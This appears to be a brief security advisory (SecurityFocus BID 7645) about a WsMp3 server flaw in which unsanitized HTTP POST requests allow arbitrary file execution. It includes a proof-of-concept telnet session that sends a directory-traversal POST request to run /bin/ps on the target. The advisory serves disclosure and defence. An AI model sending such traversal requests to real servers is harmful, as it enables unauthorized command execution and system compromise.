source: https://www.securityfocus.com/bid/7645/info A vulnerability has been reported in WsMp3. The problem occurs due to insufficient sanitization of HTTP POST requests. As a result, an attacker may be capable of executing arbitrary files on a target system. This may lead to the complete compromise of a target system. bash$ telnet wsmp3.server.com 8000 Trying 61.37.xxx.xx... Connected to 61.37.xxx.xx. Escape character is '^]'. POST /dir/../../../../../../bin/ps HTTP/1.0